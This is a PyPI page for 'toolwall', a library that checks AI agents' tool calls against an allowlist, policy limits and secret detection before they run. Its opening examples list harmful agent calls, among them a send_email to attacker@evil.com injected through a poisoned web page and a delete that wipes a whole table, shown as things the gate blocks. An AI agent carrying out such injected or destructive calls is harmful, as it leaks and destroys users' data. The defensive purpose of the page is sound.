Skip to main content

toolwall

PyPI version Python versions License: MIT Zero dependencies

The security gateway for AI agent tool calls.

Your LLM can generate a valid tool call. That doesn't mean it's safe to execute.

delete_records(filter={})            # perfectly valid JSON. whole table gone.
send_email(to="attacker@evil.com")   # recipient injected via a poisoned web page
transfer_money(amount=999999999)     # schema-valid. every field the right type.
db_query(limit=10_000_000)           # production melts.

Every one of these passes JSON schema validation. Structured outputs, schemas, and content moderation all wave them through. toolwall is the fail-closed checkpoint between the LLM's tool call and execution that blocks them.


Install

pip install toolwall

Zero required dependencies. Works with OpenAI, Anthropic, and Gemini native tool calling (and plain dicts). Python 3.10+.

Quickstart

from toolwall import ToolWall, Policy, ToolSchema, in_range, not_empty

wall = ToolWall()   # default-deny, secret detection + audit on

wall.register("db_query", db_query,
              schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
              policy=Policy(constraints={"limit": in_range(1, 100)}))
wall.register("delete_records", delete_records,
              schema=ToolSchema(required=["filter"], types={"filter": dict}),
              policy=Policy(constraints={"filter": not_empty}, require_approval=True))
wall.budget(max_calls=20)

result = wall.call("delete_records", {"filter": {}})
# result.blocked -> True
# result.reason  -> "policy violation: arg 'filter' rejected by not_empty"

results = wall.guard(openai_response)   # or gate a raw OpenAI/Anthropic/Gemini response

Only an ALLOW verdict runs the tool. Gate is the lower-level primitive underneath.

What it stops

wall.call("delete_records", {"filter": {}})
# BLOCKED: policy violation: arg 'filter' rejected by not_empty

wall.call("send_email", {"to": "ops@ourco.com", "body": "aws key AKIA..."})
# BLOCKED: secret detected (aws-access-key) in arg 'body'

wall.call("db_query", {"q": "everything", "limit": 10_000_000})
# BLOCKED: policy violation: arg 'limit' rejected by in_range(1, 100)

wall.call("run_shell", {"cmd": "..."})
# BLOCKED: unknown tool: 'run_shell'

Everything not explicitly allowed is blocked. That is the whole idea.

What it does

  • Fail-closed gate: unknown tool, schema violation, policy violation, budget hit, or unparseable payload all block before the tool runs. Registration is the allowlist.
  • Policy engine: value constraints (in_range, one_of, matches, ends_with…), cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD).
  • Shield, both directions: detects secrets (AWS, OpenAI, GitHub, Stripe, Slack, JWT, PEM, and high-entropy strings) in tool arguments and in tool return values, then blocks or redacts them. A tool that reads a secret out of a database can't hand it back to the model. The audit log never contains the secret value.
  • Dry-run: run your whole agent with dry_run=True: nothing executes, and gate.report() tells you what it would have done. suggest_policies(gate) drafts a starter policy from the calls it observed.
  • MCP guard: MCPGuard puts the same gate in front of any MCP server.
  • Audit trail: every verdict exported to JSON/CSV.

Why not just the guardrails in my agent framework?

Use those too. Two things make toolwall different from security bundled into one workspace or framework:

  • It's an allowlist, not a blocklist. Bundled protections usually ship a list of dangerous patterns to deny, so anything the authors did not anticipate gets through. Here, registration is the allowlist: everything not explicitly allowed is blocked.
  • It runs inside your agent, not instead of it. A workspace's built-in security protects that workspace. toolwall is a zero-dependency library that drops into the agent you already have, on any framework, and speaks OpenAI, Anthropic, Gemini, and MCP.

It is not a sandbox. A sandbox isolates the process; toolwall authorizes the call. Production setups want both.

Dry-run first

from toolwall import Gate, Meter, suggest_policies

gate = Gate(default="deny", dry_run=True, meter=Meter())
# ... run your agent; ALLOW calls are simulated, never executed ...
print(gate.report())            # verdict counts, blocked reasons, secrets caught
print(suggest_policies(gate))   # a draft policy from observed calls, for you to review

Guard an MCP server

from toolwall import Gate, MCPGuard

guard = MCPGuard(gate, forward=call_downstream_mcp_server)
decision = guard.handle(tool_name, args)   # only ALLOW is forwarded

Install the transport extra with pip install "toolwall[mcp]".

Examples

Runnable scripts live in the repo examples/ folder:

  • quickstart.py: six gated scenarios (allow, unknown tool, out-of-range, empty-filter delete, approval hold, secret block). No API key.
  • dangerous_agent_demo.py: an off-the-rails agent replayed with vs without the gate. No API key.
  • mcp_guard_demo.py: the gate in front of an MCP-style server. No API key.
  • live_gemini_agent.py: a real Gemini agent using native function calling, gated by toolwall. Needs GEMINI_API_KEY.
git clone https://github.com/Dev-Saif-Ops/toolwall && cd toolwall/toolwall
python examples/quickstart.py
python examples/live_gemini_agent.py     # set GEMINI_API_KEY first

Honest status

toolwall is alpha. The published failure suite blocks 28 of 28 attack cases across 11 classes with 0 false blocks on clean traffic, at sub-millisecond overhead. Secret detection is pattern + entropy based and is never 100%. Structureless passwords are out of scope, and the suite report states exactly what is and is not proven. Every claim about toolwall cites that report, nothing broader.

Links

License

MIT © Mohammad Safwan Athar

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

toolwall-0.4.0.tar.gz (25.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

toolwall-0.4.0-py3-none-any.whl (30.7 kB view details)

Uploaded Python 3

File details

Details for the file toolwall-0.4.0.tar.gz.

File metadata

  • Download URL: toolwall-0.4.0.tar.gz
  • Upload date:
  • Size: 25.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.13.1

File hashes

Hashes for toolwall-0.4.0.tar.gz
Algorithm Hash digest
SHA256 39b0d397458e6a2065f08c1415984ff101e911bf01f543bbb3e96e288b7087eb
MD5 6ae15ac675a9cfb4f4f70b24a167fd7c
BLAKE2b-256 1cc00c9678d8a040ad9806b310708f57e8507c3f77db5e860855196d5dd7f2fb

See more details on using hashes here.

File details

Details for the file toolwall-0.4.0-py3-none-any.whl.

File metadata

  • Download URL: toolwall-0.4.0-py3-none-any.whl
  • Upload date:
  • Size: 30.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.13.1

File hashes

Hashes for toolwall-0.4.0-py3-none-any.whl
Algorithm Hash digest
SHA256 f176842f42770468f35c36b2644e08a062f1fca1d332bfa771f569103b54d6d7
MD5 e0f8b2af599c0aba4793027289ad97bc
BLAKE2b-256 c594216208737d934a7f5fcab8da5b0f8fca24f6ed72437b36ec10393c0f1e03

See more details on using hashes here.

Release history Release notifications | RSS feed

0.4.1

2 files

This release

0.4.0 This release

2 files

0.3.2

2 files

0.3.1

2 files

0.3.0

2 files

0.2.2

2 files

0.2.1

2 files

0.2.0

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page